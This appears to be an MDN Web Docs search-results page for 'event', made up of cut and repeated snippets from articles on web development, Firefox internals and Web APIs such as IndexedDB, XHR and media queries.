...lity to control the ball with the keyboard on the desktop devices, and then we will move to the implementation of the device orientation api. let’s focus on the keyboard first by adding the following to the create() function : this.keys = this.game.input.keyboard.createcursorkeys(); as you can see there’s a special phaser function called createcursorkeys(), which will give us an object with
event handlers for the four arrow keys to play with: up, down, left and right. next we will add the following code to the update() function, so it will be fired on every frame. the this.keys object will be checked against player input, so the ball can react accordingly with the predefined force: if(this.keys.left.isdown) { this.ball.body.velocity.x -= this.movementforce; } else if(this.keys.right...
...ll, thus increase the velocity in the proper direction. implementing the device orientation api probably the most interesting part of the game is its usage of the device orientation api for control on mobile devices. thanks to this you can play the game by tilting the device in the direction you want the ball to roll. ...
...And 2 more matches
Mobile accessibility - Learn web development
hey are available. select headings. now you'll be able to swipe up and down to move between headings on the page. note: for a more complete reference covering the voiceover gestures available and other hints on accessibility testing on ios, see test accessibility on your device with voiceover. ...
... move between headings on the page. note: for a more complete reference covering the voiceover gestures available and other hints on accessibility testing on ios, see test accessibility on your device with voiceover. control mechanisms in our css and javascript accessibility article, we looked at the idea of
events that are specific to a certain type of control mechanism (see mouse-specific
events). to recap, these cause accessibility issues because other control mechanisms can't activate the associated functionality. as an example, the click
event is good in terms of accessibility — an associated
event handler can be invoked by clicking the element the handler is set on, tabbing to it and pressing enter/return, or tapping it on a touchscreen device. try our simple-button-example.html ...
... if you try to control our simple-box-drag.html (see example live) example with a keyboard or touch, you'll see the problem. ...
...And 2 more matches
Fundamental text and font styling - Learn web development
normal and bold: normal, bold: normal and bold font weight lighter, bolder: sets the current element's boldness to be one step lighter or heavier than its parent element's boldness. 100–900: numeric boldness values that provide finer grained control than the above keywords, if needed. text-transform: allows you to set your font to be transformed. values include: none: pr
events any transformation. uppercase: transforms all text to capitals. lowercase: transforms all text to lower case. capitalize: transforms all words to have the first letter capitalized. full-width: transforms all glyphs to be written inside a fixed-width square, similar to a monospace font, allowing aligning of e.g. latin characters along with asian language glyphs (like chinese, japanese...
...phens: switch on and off hyphenation for supported languages. line-break: relax or strengthen line breaking for asian languages. text-align-last: define how the last line of a block or a line, right before a forced line break, is aligned. text-orientation: define the orientation of the text in a line. overflow-wrap: specify whether or not the browser may break lines within words in order to pr
event overflow. writing-mode: define whether lines of text are laid out horizontally or vertically and the direction in which subsequent lines flow. font shorthand many font properties can also be set through the shorthand property font. these are written in the following order: font-style, font-variant, font-weight, font-stretch, font-size, line-height, and font-family. among all those propertie...
... you've reached the end of this article, and already did some skill testing in our active learning section, but can you remem...
...And 2 more matches
JavaScript building blocks - Learn web development
you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...her useful details of dealing with functions. function return values the last essential concept you must know about a function is return values. some functions don't return a significant value after completion, but others do. it's important to understand what their values are, how to make use of them in your code, and how to make your own custom functions return useful values. ...
...ul details of dealing with functions. function return values the last essential concept you must know about a function is return values. some functions don't return a significant value after completion, but others do. it's important to understand what their values are, how to make use of them in your code, and how to make your own custom functions return useful values. ...
...And 2 more matches
Fetching data from the server - Learn web development
es — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — in a new directory on your computer. in this example, we will load a different verse of the poem (which you may well recognize) via xhr when it's selected in the drop-down menu. just inside the <script> element, add the following code. this stores a reference to the <select> and <pre> elements in constants and defines an onchange
event handler function so that when the select's value is changed, its value is passed to an invoked function updatedisplay() as a parameter. const versechoose = document.queryselector('select'); const poemdisplay = document.queryselector('pre'); versechoose.onchange = function() { const verse = versechoose.value; updatedisplay(verse); }; let's define our updatedisplay() function. first o...
...h other types of data in the future. add this next: request.responsetype = 'text'; fetching a resource from the network is an asynchronous operation, meaning that you have to wait for that operation to complete (e.g., the resource is returned from the network) before you can do anything with that response, otherwise, an error will be thrown. ...
...s next: request.responsetype = 'text'; fetching a resource from the network is an asynchronous operation, meaning that you have to wait for that operation to complete (e.g., the resource is returned from the network) before you can do anything with that response, otherwise, an error will be thrown. xhr allows you to handle this using its onload
event handler — this is run when the load
event fires (when the response has returned). when this has occurred, the response data will be available in the response property of the xhr request object. add the following below your last addition. you'll see that inside the onload
event handler we are setting the textcontent of the poemdisplay (the <pre> element) to the value of the request.response property. request.onload = function() { ...
...And 2 more matches
Understanding client-side JavaScript frameworks - Learn web development
look at frameworks with a general overview of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. 2. framework main features each major javascript framework has a different approach to updating the dom, handling browser
events, and providing an enjoyable developer experience. this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level and the differences between them. react tutorials note: react tutorials last tested in may 2020, with react/reactdom 16.13.1 and create-react-app 3.4.1. if you need to check your code against our version, you ca...
...ich we'll add later. 3. componentizing our react app at this point, our app is a monolith. before we can make it do things, we need to break it apart into manageable, descriptive components. react doesn’t have any hard rules for what is and isn’t a component – that’s up to you! in this article, we will show you a sensible way to break our app up into components. 4. react interactivity:
events and state with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into
events and state along the way. 5. react interactivity: editing, filtering, conditional rendering as we near the end of our react journey (for now at least), we'll add the fin...
...works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development. 2. ember app structure and componentization in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components. 3. ember interactivity:
events, classes and state at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. along the way, we'll look at using
events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. 4. ember interactivity: footer functionality, co...
...And 2 more matches
Application cache implementation overview
ow pending to be activated after all following long and complicated download process passes. until that it is not used for loading resources from. after these steps the update is in initialized state waiting to be scheduled. when the update is about to actually start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking
event) and starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted and the new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compare...
...g state, a state the update is at after manifest parsing has been done, loadcompleted checks whether the new hash, i.e. the manifest content, differs or this is just “first download”. if so, the update switches to downloading state and fetches in parallel items listed in the manifest by call to nsofflinecacheupdate::processnexturi(). if the new hash is identical, update invokes onnoupdate
event and is 'finished'. then it associates any documents waiting for this update to finish with the current existing nsiapplicationcache. if the manifest load failed, onerror
event is invoked and the update 'finishes'. the parallel load is implemented by asynchronous recursive calls to processnexturi(), a method searching always a single entry that is scheduled to load. when found, channel is ...
...processnexturi then invokes it self asynchronously via dispatch to a main thread when not already on the concurrency limit of 15 loads. when concurrency limit is reached, the processnexturi self-invocation cycle is stopped. ...
...And 2 more matches
Creating Sandboxed HTTP Connections
s newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called. it takes two arguments: a listener and a context that is passed to the listener's methods. channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about
events such as http redirects and data availability. onstartrequest - gets called when a new request is initiated. ondataavailable - new data is available. since this is a stream, it could be called multiple times (depending on the size of the returned data, networking conditions, etc). onstoprequest - the request has finished. onchannelredirect - when a redirect happens, a new nsichannel is ...
...am); scriptableinputstream.init(astream); this.mdata += scriptableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull this.mcallbackfunc(this.mdata); } else { // request failed this.mcallbackfunc(null); } gchannel = null; }, // nsichannel
eventsink onchannelredirect: function (aoldchannel, anewchannel, aflags) { // if redirecting, store the new channel gchannel = anewchannel; }, // nsiinterfacerequestor getinterface: function (aiid) { try { return this.queryinterface(aiid); } catch (e) { throw components.results.ns_nointerface; } }, // nsiprogress
eventsink (not implementing will cause annoyi...
...estor getinterface: function (aiid) { try { return this.queryinterface(aiid); } catch (e) { throw components.results.ns_nointerface; } }, // nsiprogress
eventsink (not implementing will cause annoying exceptions) onprogress : function (arequest, acontext, aprogress, aprogressmax) { }, onstatus : function (arequest, acontext, astatus, astatusarg) { }, // nsihttp
eventsink (not implementing will cause annoying exceptions) onredirect : function (aoldchannel, anewchannel) { }, // we are faking an xpcom interface, so we need to implement qi queryinterface : function(aiid) { if (aiid.equals(components.interfaces.nsisupports) || aiid.equals(components.interfaces.nsiinterfacerequestor) || aiid.equals(components.interfaces.nsichannel
eventsin...
...And 2 more matches
Cross Process Object Wrappers
pows from frame scripts frame scripts can send messages to chrome using one of two global functions: sendasyncmessage() or sendsyncmessage(). the optional third parameter to each of these functions is an object whose properties are objects to wrap. for example, this frame script sends a dom node to chrome when the user clicks it, as the clicked property of the third argument: // frame script add
eventlistener("click", function (
event) { sendasyncmessage("my-e10s-extension-message", {}, { clicked :
event.target }); }, false); in the chrome script, the dom node is now accessible through a cross process object wrapper, as a property of the objects property of the message. the chrome script can get and set the wrapped object's properties and call its functions: // chrome script windowmm.addmes...
... the content object. this means that examples like this will actually work, even in multiprocess firefox: gbrowser.selectedbrowser.contentdocument.body.innerhtml = "replaced by chrome code"; it's still important to keep in mind, though, that this is access through a cpow and not direct access to content. bidirectional cpows a common pattern is for chrome code to access content objects and add
event listeners to them. to deal with this, cpows are bidirectional. this means that if content passes a cpow to the chrome process, the chrome process can synchronously pass objects (such as
event listener functions) into functions defined in the cpow. this means you can write code like this: // frame script /* on mouseover, send the button to the chrome script as a cpow. */ var button = content.d...
...e bidirectional. this means that if content passes a cpow to the chrome process, the chrome process can synchronously pass objects (such as
event listener functions) into functions defined in the cpow. this means you can write code like this: // frame script /* on mouseover, send the button to the chrome script as a cpow. */ var button = content.document.getelementbyid("click-me"); button.add
eventlistener("mouseover", function (
event) { sendasyncmessage("my-addon-message", {}, { element :
event.target }); }, false); // chrome script /* load the frame script, then listen for the message. when we get the message, extract the cpow and add a function as a listener to the button's "click"
event. */ browsermm.loadframescript("chrome://my-addon/content/frame-script.js", false); browsermm...
...And 2 more matches
Performance
ion addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks. but care must be taken to not leak references to the frame script global when it is passed into a jsm. alternatively the frame's unload
event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function on...
...sed by other functions don't register observers (and other callbacks to global services) in a frame script bad: //framescript.js services.obs.addobserver("document-element-inserted", { observe: function(doc, topic, data) { if(doc.ownerglobal.top != content) return; // bail out if this is for another tab decoratedocument(doc); } }) observer notifications get fired for
events that happen anywhere in the browser, they are not scoped to the current tab. if each framescript registers a seperate listener then the observed action will trigger the callbacks in all tabs. additionally the example above does not clean unregister itself, thus leaking objects each time a tab is closed. frame message manager message and
event listeners are limited in their lifetime to that of ...
...llbacks in all tabs. additionally the example above does not clean unregister itself, thus leaking objects each time a tab is closed. frame message manager message and
event listeners are limited in their lifetime to that of the frame itself, this does not apply to observer registrations. ...
...And 2 more matches
Storage access policy: Block cookies from trackers
ources. the tracking protection list is maintained by disconnect. when the list is applied in firefox, we make two important changes: first, we only use the "basic protection" version of the list, which excludes some categories of trackers. in the future, we may expand our protections to use the "strict protection" version of the list. second, firefox uses an additional "entity list", which pr
events domains from being classified as trackers when they are loaded on a top-level site owned by the same organization. firefox uses the built-in tracking protection url classifier to determine which resources match the tracking protection list. domains are matched against the list in accordance with the safebrowsing v4 specification. specifically, we check the exact hostname of the resource agains...
...a.b.example.com yes blah.example.com example.com no a.b.example.com c.d.example.com no blah.example.com foo.blah.example.com yes what does the storage access policy block? the storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. this pr
events those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. specifically, firefox does this by imposing the following restrictions: cookies: block cookie request headers and ignore set-cookie response headers. return an empty string for calls to document.cookie and ignore requests to set coo...
... third-party resources classified as trackers is set to strict-origin-when-cross-origin. what is not blocked by the policy? this policy does not currently restrict third-party storage access for resources that are not classified as tracking resources. we may choose to apply additional restrictions to third-party storage access in the future. the restrictions applied by the policy will not pr
event third-party scripts classified as tracking resources from accessing storage in the main context of the page. these scripts can continue to use storage scoped to the top-level origin. origins classified as trackers will have access to their own storage when they are loaded in a first-party context. cross-origin resources loaded from the same etld+1 as the top-level context will still have access...
...And 2 more matches
mozbrowserfirstpaint
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserfirstpaint
event is fired when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank). general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of even...
... specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
... target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
...And 2 more matches
HTML parser threading
ead. the method implementations assert which thread they are supposed to be called on. ondataavailable and onstoprequest on the main thread post runnables on to the parser thread. there runnables obtain mtokenizermutex and call dodataavailable and dostoprequest, repectively, on the parser thread. these two methods along with timerflush (discussed later) are the entry points from the parser thread
event loop into nshtml5streamparser. the runnables hold mtokenizermutex for the entire duration of the dodataavailable or dostoprequest call. mtokenizermutex protects most data structures on nshtml5streamparser from concurrent access. the runnables need to keep the nshtml5streamparser instance alive, so they have to addref it. however, if they released on the parser thread, nshtml5streamparser could be...
...ichar arrays. those arrays are allocated when creating the tree op and delete[]d by the destructor of nshtml5treeoperation. hence, data gets copied to and from these arrays. executing tree ops when the executor flushing runnable fires on the main thread, it calls nshtml5treeopexecutor::runflushloop(). this method returns immediately if another invocation of it is already on the call stack (nested
event loop case). the method then enters a loop that has a bunch of return conditions (including parser termination). the loop first flushes speculative loads (creation discussed later). if the executor is reading from a stage (i.e. the ops are coming from the parser thread), the executor moves the tree ops from the staging queue into its own queue. (again, here we get to move a bunch of tree ops by ob...
... loop that iterates over the tree ops in the executor's queue and calls perform on each one. parser termination is checked before each tree op for an early return, because, unfortunately, gecko expects parsers to be able to terminate immediately. after each tree op except the last one in the queue, the clock time is checked to see if runflushloop() has spent too much time without returning to the
event loop. if too much time has been spent, a runnable for calling runflushloop() again is dispatched and an early return made before all tree ops have been executed. (only the already executed ops are destructed and the rest are left in the queue.) the last op in the queue may be an op for attempting to execute a script that may block the parser (ops for attempting to execute async and defer scripts ...
...And 2 more matches
DeferredTask.jsm
any postponed task immediately. void flush(); cancel obsolete since gecko 28 cancel any pending task. void cancel(); arm request the execution of the task after the delay specified on construction. multiple calls don't introduce further delays. if the task is running, the delay will start when the current execution finishes. the task will always be executed on a different tick of the
event loop, even if the delay specified on construction is zero. multiple "arm" calls within the same tick of the
event loop are guaranteed to result in a single execution of the task. by design, this method doesn't provide a way for the caller to detect when the next execution terminates, or collect a result. in fact, doing that would often result in duplicate processing or logging. if a special oper...
...n. void arm(); disarm cancel any request for a delayed execution of the task, though the task itself cannot be canceled in case it is already running. this method stops any currently running timer, thus the delay will restart from its original value in case the "arm" method is called again. void disarm(); finalize ensure that any pending task is executed from start to finish, while pr
eventing any attempt to arm the timer again. if the task is running and the timer is armed, then one last execution from start to finish will happen again, immediately after the current execution terminates; then the returned promise will be resolved. if the task is running and the timer is not armed, the returned promise will be resolved when the current execution terminates. if the task is not r...
... data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask = new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported. }, 2000); // the task is ready, but will not be executed until requested. the "arm" method can be used to start the internal timer that will result in the
eventual execution of the task. multiple attempts to arm the timer don't introduce further delays: savedeferredtask.arm(); // the task will be executed in 2 seconds from now. yield waitonesecond(); savedeferredtask.arm(); // the task will be executed in 1 second from now. the timer can be disarmed to reset the delay, or just to cancel execution: savedeferredtask.disarm(); savedeferredtask.arm();...
...And 2 more matches
Localization content best practices
key ids the ids (names) chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. ...
...ames) chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. ...
...for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. ...
...And 2 more matches
Investigating leaks using DMD heap scan mode
was recorded the latest, and so it will contain the least non-garbage. identifying the root in the cycle collector log the next step is to figure out why the cycle collector could not collect the window, using the find_roots.py script from the heapgraph repository. the command to invoke this looks like this: python $heapgraph/find_roots.py $cclog $winaddr this may take a few seconds. ...
...s like this: python $heapgraph/find_roots.py $cclog $winaddr this may take a few seconds. it will
eventually produce some output. you'll want to save a copy of this output for later. the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[via hash] mlistenermanager]--> 0x7f0899b4e550 [
eventlistenermanager] --[mlisteners
event=onload listenertype=3 [i]]--> 0x7f0882ff8f80 [callbackobject] --[mincumbentglobal]--> 0x7f0897082c00 [nsglobalwindowinner # 2147483662 inner https://www.example.com] root 0x7f0882fe3230 is a ref counted object with 1 unknown edge(s). known edges: 0x7f08975a24c0 [fragmentorelement (xhtml) head https://www.example.com] --[mattrsandchild...
...0x7f0882fe3230 is a ref counted object with 1 unknown edge(s). known edges: 0x7f08975a24c0 [fragmentorelement (xhtml) head https://www.example.com] --[mattrsandchildren[i]]--> 0x7f0882fe3230 0x7f08967e7b20 [js object (htmlscriptelement)] --[unwrapdomobject(obj)]--> 0x7f0882fe3230 the first two lines mean that the script element 0x7f0882fe3230 contains a strong reference to the
eventlistenermanager 0x7f0899b4e550. "[via hash] mlistenermanager" is a description of that strong reference. together, these lines show a chain of strong references from an object the cycle collector thinks needs to be kept alive, 0x7f0899b4e550, to the object 0x7f0897082c00 that you asked about. most of the time, the actual chain is not important, because the cycle collector can only tell us about wh...
...And 2 more matches
Profiling with the Firefox Profiler
could have some potentially useful information for gecko-specific problems. you can check out some frequently asked questions about the firefox profilers. reporting a performance problem has a step-by-step guide for obtaining a profile when requested by firefox developers. interface 1. timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting
events. hover over them to see more information. below the tracing markers are rows corresponding with activity on a variety of threads. tip: threads that are annotated with "[default]" are in the parent (aka "ui", aka "browser chrome", aka "main") process and those annotated with "[tab]" are in the web content (aka "child") processes. tip: long-running tasks in the parent process will block all i...
... those annotated with "[tab]" are in the web content (aka "child") processes. tip: long-running tasks in the parent process will block all input or drawing with the browser ui (aka "ui jank") whereas long-running tasks in the content process will block interactivity with the page but still allowing the user to pan and zoom around thanks to apz. tracing markers red: these indicate that the
event loop is being unresponsive. note that high priority
events such as vsync are not included here. also note that this indicates what would have happened had there been an
event waiting and not necessarily that there was an
event pending for that long. black: these indicate synchronous ipc calls. ranges ranges of time can be zoomed in on by clicking and dragging anywhere in the tracing marker ...
...e from different processes. in this case, we have the 'geckomain [default]' process' main thread, a content process' main thread, and the main thread of the compositor process. each of these timelines is aligned with wall clock time. so, for example, when a thread is blocked, like 'geckomain [tab]', on a thread like 'geckomain [default]', we can see what's occurring on the latter thread that is pr
eventing it from responding to the former. x (time) axis: the timelines go from left to right as wall clock time increases along the x axis. elements in the timeline are spaced at the sampling frequency with an attempt to align them with time. factors such as sampling or stack-walking variance and system load can lead to sampling delays which manifest as gaps in the timeline. note: because this is a...
...And 2 more matches
HTMLImageElement.loading - Web APIs
r to load the image as soon as the <img> element is processed. lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed imminently. for instance, if the user is scrolling through the document, a value of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load
event the load
event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every image in the document must be fetched before the load
event can fire. by specifying the value lazy for loading, you pr
event the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image. images whose loading attrib...
...an fire. by specifying the value lazy for loading, you pr
event the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image. images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load
event. in other words, these images aren't loaded immediately when processing the <img> element, but are still loaded as part of the initial page load. they justt don't affect the timing of the load
event. that means that when load fires, it's possible that any lazy-loaded images located in the visual viewport may not yet be visible. ...
... known, but their loads do not delay the firing of the load
event. in other words, these images aren't loaded immediately when processing the <img> element, but are still loaded as part of the initial page load. they justt don't affect the timing of the load
event. that means that when load fires, it's possible that any lazy-loaded images located in the visual viewport may not yet be visible. pr
eventing element shift during image lazy loads when an image whose loading has been delayed by the loading attribute being set to lazy is finally loaded, the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. ...
...And 2 more matches
HTMLImageElement - Web APIs
ement, providing the properties and methods used to manipulate image elements. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...it accepts optional width and height parameters. when called without parameters, new image() is equivalent to calling document.createelement("img"). properties inherits properties from its parent, htmlelement. ...
...And 2 more matches
HTMLMediaElement.onerror - Web APIs
when an error occurs, the specified function will be called. if null, no error handler is in effect. ...
...when an error occurs, the specified function will be called. if null, no error handler is in effect. ...
...when an error occurs, the specified function will be called. if null, no error handler is in effect. ...
...And 2 more matches
HTMLScriptElement - Web APIs
or manipulating the behavior and execution of <script> elements (beyond the inherited htmlelement interface). javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv. ...
...ution of <script> elements (beyond the inherited htmlelement interface). javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv. if the script is blocked, its element receives an error
event; otherwise, it receives a load
event. ...
...ked, its element receives an error
event; otherwise, it receives a load
event. ...
...And 2 more matches
HTMLSelectElement.selectedOptions - Web APIs
<option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow multiple items to be selected, and it is 7 rows tall. note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. ...
...r> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow multiple items to be selected, and it is 7 rows tall. note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. ...
... is to trigger fetching the htmlcollection of selected elements using the selected property. ...
...And 2 more matches
IDBFactory.open() - Web APIs
the open() method of the idbfactory interface requests opening a connection to a database. the method returns an idbopendbrequest object immediately, and performs the open operation asynchronously. if the operation is successful, a success
event is fired on the request object that is returned from this method, with its result attribute set to the new idbdatabase object for the connection. if an error occurs while the database connection is being opened, then an error
event is fired on the request object returned from this method. may trigger upgradeneeded, blocked or versionchange
events. note: this feature is available in web workers. syntax for the current standard: var idbopendbrequest = indexeddb.open(name); var idbopendbrequest = indexeddb.open(name, version); parame...
...ng: the storage attribute is deprecated and will soon be removed from gecko. you should use storagemanager.persist() to get persistent storage instead. note: you can find out more information on the different available storage types, and how firefox handles client-side data storage, at browser storage limits and eviction criteria. return value a idbopendbrequest object on which subsequent
events related to this request are fired. exceptions this method may raise a domexception of the following types: exception description typeerror the value of version is zero or a negative number or not a number. example example of calling open with the current specification's version parameter: var request = window.indexeddb.open("todolist", 4); in the followin...
...this is used a lot later on, for opening // transactio...
...And 2 more matches
IDBTransaction.objectStore() - Web APIs
tfounderror the requested object store is not in this transaction's scope. invalidstateerror the request was made on a source object that has been deleted or removed, or if the transaction has finished. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. ...
...pe. invalidstateerror the request was made on a source object that has been deleted or removed, or if the transaction has finished. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction
event handlers to report on the outcome of the transaction opening in the
event of success or failure. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbope...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store ...
...And 2 more matches
IDBTransaction.onerror - Web APIs
the onerror
event handler of the idbtransaction interface handles the error
event, fired when a request returns an error and bubbles up to the transaction object. note: consider using idbtransaction.onabort instead to handle non- successful completion of the transaction. note: this feature is available in web workers. syntax transaction.onerror = function(
event) { ... }; example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction
event handlers to report on the outcome of the transaction opening in the
event of success or failure. ...
...vailable in web workers. syntax transaction.onerror = function(
event) { ... }; example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction
event handlers to report on the outcome of the transaction opening in the
event of success or failure. note the transaction.onerror = function(
event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. ...
...
event of success or failure. note the transaction.onerror = function(
event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: ...
...And 2 more matches
MSCandidateWindowHide - Web APIs
d the behavior may change in the future. mscandidatewindowhide fires after the input method editor (ime) candidate window closes and is fully hidden. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this
event. ...
...datewindowhide fires after the input method editor (ime) candidate window closes and is fully hidden. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this
event. on internet explorer in the new windows ui, this
event is supported in windows 8.1 imes of all languages. ...
...loses and is fully hidden. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this
event. on internet explorer in the new windows ui, this
event is supported in windows 8.1 imes of all languages. ...
...And 2 more matches
MediaKeySession.onmessage - Web APIs
the onmessage property of the mediakeysession is an
event handler, fired whenever a mediakeymessage
event occurs, denoting a message is generated by the content decryption module. this interface inherits from the extendable
event interface. ...
...le. this interface inherits from the extendable
event interface. ...
... position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospac...
...And 2 more matches
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and
event-driven matching against the state of the document. you can create a mediaquerylist by calling matchmedia() on the window object. the resulting object handles sending notifications to listeners when the media query state changes (i.e. when the media query test starts or stops evaluating to true). this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status. properties the mediaquerylist interface inherits properties from its parent interface,
eventtarget. matchesr...
...n media query status. properties the mediaquerylist interface inherits properties from its parent interface,
eventtarget. matchesread only a boolean that returns true if the document currently matches the media query list, or false if not. mediaread only a domstring representing a serialized media query. methods the mediaquerylist interface inherits methods from its parent interface,
eventtarget. addlistener() adds to the mediaquerylist a callback which is invoked whenever the media query status—whether or not the document matches the media queries in the list—changes. this method exists primarily for backward compatibility; if possible, you should instead use add
eventlistener() to watch for the change
event. removelistener() removes the specified listener callback from t...
...to watch for the change
